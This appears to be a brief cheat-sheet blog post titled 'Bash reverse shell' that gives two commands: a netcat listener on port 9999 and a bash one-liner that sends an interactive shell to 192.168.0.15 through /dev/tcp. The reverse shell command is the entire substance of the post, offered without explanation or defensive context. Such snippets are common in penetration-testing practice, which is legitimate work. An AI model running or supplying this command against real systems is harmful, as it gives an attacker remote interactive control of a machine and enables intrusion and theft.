Bash reverse shell

Linux Mar 11, 2021

Listen on port 9999 for a shell

nc -lp 9999

Send a interactive shell to 192.168.0.15 on port 9999

bash -i > /dev/tcp/192.168.0.15/9999 0<&1 2<&1

Tags

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.